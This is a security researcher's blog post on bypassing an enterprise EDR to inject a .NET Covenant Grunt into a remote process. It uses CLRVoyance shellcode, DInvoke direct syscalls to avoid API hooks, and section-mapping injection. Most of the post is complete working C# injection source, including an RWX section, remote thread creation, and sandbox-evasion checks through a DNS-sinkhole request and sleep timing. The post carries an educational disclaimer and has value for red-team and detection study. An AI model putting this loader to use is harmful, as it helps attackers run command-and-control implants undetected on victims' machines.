Socials
Twitter: https://twitter.com/Mako_Sec GitHub: https://github.com/MakoSec
Acknowledgements
This post utilizes and discusses multiple pre-existing techniques / tools.
- Donut
Github: https://github.com/TheWover/donut Blog Post: https://thewover.github.io/Introducing-Donut/
- CLRVoyance
Github: https://github.com/Accenture/CLRvoyance Blog Post: https://www.accenture.com/us-en/blogs/cyber-defense/clrvoyance-loading-managed-code-into-unmanaged-processes
- Decompress Code:
StackOverflow: https://stackoverflow.com/questions/39191950/how-to-compress-a-byte-array-without-stream-or-system-io
- DInvoke
Github: https://github.com/TheWover/DInvoke Blog Post: https://thewover.github.io/Dynamic-Invoke/
- How to use DInvoke
Blog Post: https://offensivedefence.co.uk/posts/dinvoke-syscalls/
- Where I Learned Process Injection Techniques Used.
Sektor7: https://institute.sektor7.net/
- Additional Resources for Process Injection
- Covenant
- ILMerge
The techniques and code provided in this blog post are meant for research and educational purposes only.
Introduction
Recently, I began attempting to create a process injection payload to bypass enterprise level EDR’s. Previously, my experience of AV evasion has been basically Defender and free / trial AV’s. I very quickly learned that EDR’s are not built the same. This particular vendor has a reputation of being pretty good at detecting and preventing Process Injection so I thought this would be a fun challenge. I discovered that injecting custom made shellcode or even encoded msf shellcode was not very difficult. However, when attempting to run .NET assemblies in a remote process things became a lot more difficult and seemingly everything I did could not defeat this EDR. In this post I will talk about and show how I was able to achieve my end goal of running a Covenant Grunt in a remote process.
I’m definitely no expert in Malware Development so if I missed something / was wrong on something / can improve on something please send me a DM on Twitter it would be much appreciated. I’m also aware that what I’m going to show has some artifacts and other things that can be spotted by a good IR analyst and has some opsec concerns for sure.
Converting .NET Assemblies Into Shellcode
In order to actually inject and run a .NET assembly into a remote process the assembly has to first be converted into shellcode. More accurately, the process of loading the CLR into a remote process and calling methods in the CLR such as Load, GetEntryPoint, and Invoke must be done in shellcode. The process of this as follows:
- Call CLRCreateInstance to get a handle to one of three interfaces ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging. For the purposes of loading the CLR the interface used is ICLRMetaHost as described in the blog written by Bryan Alexander and Josh Stone. Reference the blog post for CLRVoyance linked above.
- Call the ICLRMetaHost::GetRuntime method with the .NET version to get a pointer to the ICLRRuntimeInfo interface.
- Call the ICLRRuntimeInfo::GetInterface method to get a pointer to the queried interface (ICLRRuntimeHost)
- Call the ICLRRuntimeHost::Start method to initialize the CLR in the process
- Call the ICorRuntimeHost::CreateDomain method to create an AppDomain to run the .NET assembly
- From the AppDomain, call Load,GetEntryPoint, and Invoke to run the .NET assembly
Refer to the blog post about CLRVoyance, and their references, to get a very detailed technical explanation on the method explained above.
To my knowledge there are two tools that do this, Donut from theWover and CLRVoyance from Bryan Alexander and Josh Stone of Accenture. However, the way they perform this is different. Keep in mind my analysis of how Donut performs this process is based on reading the documentation provided and making inferences off that, I did some basic source code analysis but honestly its a large and complex tool and I’m not the best at reading C code. To my knowledge, Donut takes the provided .NET assembly and other provided arguments and compiles a Position Independent Code (PIC) executable with the supplied arguments. The tool then extracts the opcodes from the compiled executable and writes it to a file called “payload.bin”. Again this is my inference from reading the documentation, specifically this section:
To get the shellcode, exe2h extracts the compiled machine code from the .text segment in
payload.exe and saves it as a C array to a C header file.
donut combines the shellcode with a Donut Instance
(a configuration for the shellcode) and a Donut Module
(a structure containing the .NET assembly, class name, method name and any parameters).
The way that CLRVoyance accomplishes the goal of loading the CLR and running a provided .NET assembly is through x86 or x64 assembly code. The python script shipped with CLRVoyance will parse the provided .NET assembly and store it as a variable in the supplied .asm files. It will then compile and write out the shellcode to disk. You can then do what you please with the generated shellcode.
Donut is an incredibly popular and an amazing tool even being integrated with other projects such as Covenant. However, I think the popularity of Donut is what was preventing my attempts to use it. In this case, the EDR vendor was preventing any attempts to run Donut generated shellcode. Even attempting to run completely benign assemblies failed, leading me to believe it was alerting on something within the Donut generated code and not the execution of the .NET assembly. I even went as far as performing in-memory decryption of the Donut shellcode, which still failed. This led me to CLRVoyance, after a coworker made me aware of the tool. This was the first step to achieve my end goal. Keep in mind, Donut will most likely work perfectly fine on a majority of EDR products. I don’t want to give off the impression that one tool is better than another which is not my intention at all.
DInvoke
Another necessity for the success of the implant was to evade the Windows API hooks that EDR vendors implement in their products. If you are unaware, EDR vendors often times inject userland hooks into popular Windows API often utilized by Malware. When a call to one of these APIs is made, execution is redirected to the EDR vendors DLL which will analyze the API call to ensure everything looks fine. If potential abuse is detected, the execution will be prevented. Utilizing DInvoke is very useful to avoid these userland hooks due to the fact that you can easily utilize direct syscalls with DInvoke. Dynamically fetching and utilizing syscalls allows you to get around using the hooked ntdll.dll entirely, completely avoiding the hooks put in place by EDR vendors.
Code Walkthrough
The method of process injection I used was the Section Mapping technique. I initially learned this technique in the Sektor7 Malware Development courses which you can find above. There is also a post from ired.team linked above that demonstrates the same technique. Essentially you perform the following.
- Create a section of memory with NtCreateSection
- Call OpenProcess to get a handle to the remote process you are injecting to
- Utilize NtMapViewOfSection to map a view of the memory section to the local process and a view to the remote process
- Copy the shellcode to the local view, this will reflect to the remote view as well
- Execute the shellcode in the remote view
The code begins by creating some delegate functions, this is required to use DInvoke as you will be mapping the syscalls to the delegates to actually call the NTAPI functions. The code for creating the delegates can be seen here:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtMapViewOfSection_(IntPtr SectionHandle,IntPtr ProcessHandle,out IntPtr BaseAddress,UIntPtr ZeroBits,UIntPtr CommitSize,int SectionOffset,out uint ViewSize,uint InheritDisposition,uint AllocationType,uint Win32Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtOpenProcess_(ref IntPtr ProcessHandle,uint DesiredAccess,ref OBJECT_ATTRIBUTES ObjectAttributes,ref CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtCreateThreadEx_(out IntPtr threadHandle,uint desiredAccess,IntPtr objectAttributes,IntPtr processHandle,IntPtr startAddress,IntPtr parameter,bool createSuspended,int stackZeroBits,int sizeOfStack,int maximumStackSize,IntPtr attributeList);
Refer also to the post on using DInvoke from Rasta Mouse in reference number 5 in Acknowledgements. His post was very helpful to me for using DInvoke for the first time.
Next, the code gets the syscall stub for NtOpenProcess with DInvoke and maps it to the delegate function for NtOpenProcess. The code also loads the shellcode generated by CLRVoyance from a resource file. The implant expects the shellcode has been compressed and base64 encoded, you can simply skip this part and store it as a byte array if you chose to do so.
IntPtr pNtOpenProcess = Generic.GetSyscallStub("NtOpenProcess");
NtOpenProcess_ ntOpenProc = (NtOpenProcess_) Marshal.GetDelegateForFunctionPointer(pNtOpenProcess, typeof(NtOpenProcess_));
ResourceManager resc = new ResourceManager("b64file",typeof(SectionViewInject).Assembly);
String b64 = resc.GetString("payload");
byte[] buf = Decompress(Convert.FromBase64String(b64));
After this, the code gets the Process ID for notepad.exe and gets a handle to that process with NtOpenProcess and calls a function called Inject with the handle to notepad and the byte array containing the CLRVoyance shellcode as arguments.
Process[] proc = Process.GetProcessesByName("notepad");
uint pid = (uint)proc[0].Id;
OBJECT_ATTRIBUTES obj = new OBJECT_ATTRIBUTES();
CLIENT_ID c_id = new CLIENT_ID
{
UniqueProcess = (IntPtr)pid
};
IntPtr remoteProc = IntPtr.Zero;
ntOpenProc(ref remoteProc, CreateThread | QueryInformation | VirtualMemoryOperation | VirtualMemoryRead | VirtualMemoryWrite,ref obj,ref c_id);
Console.WriteLine("rProc: "+remoteProc);
Inject(remoteProc,buf);
The Inject function looks like this:
public static void Inject(IntPtr proc,byte[] payload)
{
IntPtr pNtMapViewOfSection = Generic.GetSyscallStub("NtMapViewOfSection");
NtMapViewOfSection_ ntMapView = (NtMapViewOfSection_) Marshal.GetDelegateForFunctionPointer(pNtMapViewOfSection, typeof(NtMapViewOfSection_));
IntPtr pNtCreateThread = Generic.GetSyscallStub("NtCreateThreadEx");
NtCreateThreadEx_ ntCreateThreadEx = (NtCreateThreadEx_) Marshal.GetDelegateForFunctionPointer(pNtCreateThread, typeof(NtCreateThreadEx_));
uint MaximumSize = (uint)payload.Length;
uint SECTION_MAP_WRITE = 0x0002;
uint SECTION_MAP_READ = 0x0004;
uint SECTION_MAP_EXECUTE = 0x0008;
uint SECTION_ALL_ACCESS = SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE;
uint PAGE_READWRITE = 0x04;
uint SEC_COMMIT = 0x08000000;
uint PAGE_EXECUTE_READ = 0x00000020;
IntPtr hSection = IntPtr.Zero;
IntPtr addr = IntPtr.Zero;
IntPtr rView = IntPtr.Zero;
uint size = 0;
uint oldProtect = 0;
uint rOldProtect = 0;
Process currentProcess = Process.GetCurrentProcess();
IntPtr rThread = IntPtr.Zero;
NtCreateSection(out hSection, SECTION_ALL_ACCESS,IntPtr.Zero,ref MaximumSize,0x40,SEC_COMMIT,IntPtr.Zero);
Console.WriteLine("hSection: "+hSection);
ntMapView(hSection,currentProcess.Handle,out addr,UIntPtr.Zero,UIntPtr.Zero,0,out size,1,0,0x40);
Console.WriteLine("Local View: "+addr);
ntMapView(hSection,proc,out rView,UIntPtr.Zero,UIntPtr.Zero,0,out size,1,0,0x40);
IntPtr address = IntPtr.Add(rView,payload.Length);
Marshal.Copy(payload,0,addr,payload.Length);
Console.WriteLine("rView: "+rView);
ntCreateThreadEx(out rThread,0x02000000,IntPtr.Zero,proc,rView,IntPtr.Zero,false,0,0,0,IntPtr.Zero);
}
The code again starts with dynamically getting pointers to the syscall stubs with DInvoke and mapping them to the delegate functions. The code also defines some constants and gets a handle to the current process with GetCurrentProcess.
IntPtr pNtMapViewOfSection = Generic.GetSyscallStub("NtMapViewOfSection");
NtMapViewOfSection_ ntMapView = (NtMapViewOfSection_) Marshal.GetDelegateForFunctionPointer(pNtMapViewOfSection, typeof(NtMapViewOfSection_));
IntPtr pNtCreateThread = Generic.GetSyscallStub("NtCreateThreadEx");
NtCreateThreadEx_ ntCreateThreadEx = (NtCreateThreadEx_) Marshal.GetDelegateForFunctionPointer(pNtCreateThread, typeof(NtCreateThreadEx_));
uint MaximumSize = (uint)payload.Length;
uint SECTION_MAP_WRITE = 0x0002;
uint SECTION_MAP_READ = 0x0004;
uint SECTION_MAP_EXECUTE = 0x0008;
uint SECTION_ALL_ACCESS = SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE;
uint PAGE_READWRITE = 0x04;
uint SEC_COMMIT = 0x08000000;
uint PAGE_EXECUTE_READ = 0x00000020;
IntPtr hSection = IntPtr.Zero;
IntPtr addr = IntPtr.Zero;
IntPtr rView = IntPtr.Zero;
uint size = 0;
Process currentProcess = Process.GetCurrentProcess();
IntPtr rThread = IntPtr.Zero;
Next, the code completes the process of injecting and calling the shellcode by using NtCreateSection to create a section of RWX permissions (I said opsec concerns didn’t I). It then maps a local and remote view and uses Marshal.Copy to copy the shellcode into the local view. Since the remote and local view share a section of memory, the shellcode will also be copied into the remote view. The NtCreateThreadEx function is then used to run the shellcode in the remote process.
NtCreateSection(out hSection, SECTION_ALL_ACCESS,IntPtr.Zero,ref MaximumSize,0x40,SEC_COMMIT,IntPtr.Zero);
Console.WriteLine("hSection: "+hSection);
ntMapView(hSection,currentProcess.Handle,out addr,UIntPtr.Zero,UIntPtr.Zero,0,out size,1,0,0x40);
Console.WriteLine("Local View: "+addr);
ntMapView(hSection,proc,out rView,UIntPtr.Zero,UIntPtr.Zero,0,out size,1,0,0x40);
IntPtr address = IntPtr.Add(rView,payload.Length);
Marshal.Copy(payload,0,addr,payload.Length);
Console.WriteLine("rView: "+rView);
ntCreateThreadEx(out rThread,0x02000000,IntPtr.Zero,proc,rView,IntPtr.Zero,false,0,0,0,IntPtr.Zero);
The entire code can be seen below, with some additional dynamic evasion stuff I put in.
using System;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Management;
using System.IO.Compression;
using System.IO;
using System.Resources;
using System.Net;
using System.Reflection;
using DInvoke.DynamicInvoke;
namespace MalDev
{
public class SectionViewInject
{
[StructLayout(LayoutKind.Sequential, Pack = 0)]
struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
static extern UInt32 NtCreateSection(out IntPtr SectionHandle,uint DesiredAccess,IntPtr ObjectAttributes,ref UInt32 MaximumSize,uint SectionPageProtection,uint AllocationAttributes,IntPtr FileHandle);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtMapViewOfSection_(IntPtr SectionHandle,IntPtr ProcessHandle,out IntPtr BaseAddress,UIntPtr ZeroBits,UIntPtr CommitSize,int SectionOffset,out uint ViewSize,uint InheritDisposition,uint AllocationType,uint Win32Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtOpenProcess_(ref IntPtr ProcessHandle,uint DesiredAccess,ref OBJECT_ATTRIBUTES ObjectAttributes,ref CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtCreateThreadEx_(out IntPtr threadHandle,uint desiredAccess,IntPtr objectAttributes,IntPtr processHandle,IntPtr startAddress,IntPtr parameter,bool createSuspended,int stackZeroBits,int sizeOfStack,int maximumStackSize,IntPtr attributeList);
public static byte[] Decompress(byte[] data)
{
MemoryStream input = new MemoryStream(data);
MemoryStream output = new MemoryStream();
using (DeflateStream dstream = new DeflateStream(input, CompressionMode.Decompress))
{
dstream.CopyTo(output);
}
return output.ToArray();
}
public static void Inject(IntPtr proc,byte[] payload)
{
IntPtr pNtMapViewOfSection = Generic.GetSyscallStub("NtMapViewOfSection");
NtMapViewOfSection_ ntMapView = (NtMapViewOfSection_) Marshal.GetDelegateForFunctionPointer(pNtMapViewOfSection, typeof(NtMapViewOfSection_));
IntPtr pNtCreateThread = Generic.GetSyscallStub("NtCreateThreadEx");
NtCreateThreadEx_ ntCreateThreadEx = (NtCreateThreadEx_) Marshal.GetDelegateForFunctionPointer(pNtCreateThread, typeof(NtCreateThreadEx_));
uint MaximumSize = (uint)payload.Length;
uint SECTION_MAP_WRITE = 0x0002;
uint SECTION_MAP_READ = 0x0004;
uint SECTION_MAP_EXECUTE = 0x0008;
uint SECTION_ALL_ACCESS = SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE;
uint PAGE_READWRITE = 0x04;
uint SEC_COMMIT = 0x08000000;
uint PAGE_EXECUTE_READ = 0x00000020;
IntPtr hSection = IntPtr.Zero;
IntPtr addr = IntPtr.Zero;
IntPtr rView = IntPtr.Zero;
uint size = 0;
Process currentProcess = Process.GetCurrentProcess();
IntPtr rThread = IntPtr.Zero;
NtCreateSection(out hSection, SECTION_ALL_ACCESS,IntPtr.Zero,ref MaximumSize,0x40,SEC_COMMIT,IntPtr.Zero);
Console.WriteLine("hSection: "+hSection);
ntMapView(hSection,currentProcess.Handle,out addr,UIntPtr.Zero,UIntPtr.Zero,0,out size,1,0,0x40);
Console.WriteLine("Local View: "+addr);
ntMapView(hSection,proc,out rView,UIntPtr.Zero,UIntPtr.Zero,0,out size,1,0,0x40);
IntPtr address = IntPtr.Add(rView,payload.Length);
Marshal.Copy(payload,0,addr,payload.Length);
Console.WriteLine("rView: "+rView);
ntCreateThreadEx(out rThread,0x02000000,IntPtr.Zero,proc,rView,IntPtr.Zero,false,0,0,0,IntPtr.Zero);
}
public static void Main()
{
uint CreateThread = 0x00000002;
uint VirtualMemoryOperation = 0x00000008;
uint VirtualMemoryRead = 0x00000010;
uint VirtualMemoryWrite = 0x00000020;
uint QueryInformation = 0x00000400;
WebClient client = new WebClient();
try
{
//DNS sinkhole method of dynamic evasion
string reply = client.DownloadString("http://525e3552cb5e54ac830e788ee7c68c4e.com");
Console.WriteLine(reply);
}
catch
{
//Sleep method that I learned from OSEP
DateTime t1 = DateTime.Now;
Sleep(5000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 4.5)
{
Console.WriteLine("Stopping");
System.Environment.Exit(0);
}
else
{
Console.WriteLine("Running");
//Getting syscall stubs with DInvoke gotten with help from Rasta Mouses article on the topic linked above
IntPtr pNtOpenProcess = Generic.GetSyscallStub("NtOpenProcess");
NtOpenProcess_ ntOpenProc = (NtOpenProcess_) Marshal.GetDelegateForFunctionPointer(pNtOpenProcess, typeof(NtOpenProcess_));
ResourceManager resc = new ResourceManager("b64file",typeof(SectionViewInject).Assembly);
String b64 = resc.GetString("payload");
byte[] buf = Decompress(Convert.FromBase64String(b64));
Process[] proc = Process.GetProcessesByName("notepad");
uint pid = (uint)proc[0].Id;
OBJECT_ATTRIBUTES obj = new OBJECT_ATTRIBUTES();
CLIENT_ID c_id = new CLIENT_ID
{
UniqueProcess = (IntPtr)pid
};
IntPtr remoteProc = IntPtr.Zero;
ntOpenProc(ref remoteProc, CreateThread | QueryInformation | VirtualMemoryOperation | VirtualMemoryRead | VirtualMemoryWrite,ref obj,ref c_id);
Console.WriteLine("rProc: "+remoteProc);
Inject(remoteProc, buf);
}
}
}
}
}
The finished execution can be seen in the screenshot below.
Conclusion
This was my post on how I was able to bypass an Enterprise EDR to inject a .NET assembly in a remote process. Hopefully you enjoyed and got use out of this. Again, I’m no expert any suggestions or anything I missed would be greatly appreciated in a DM. Please keep in mind, as I’ve said before there are opsec considerations that must be kept in mind. Some basic static analysis will also yield some pretty damning strings that a blue teamer should easily notice, such as references to the DInvoke DLL.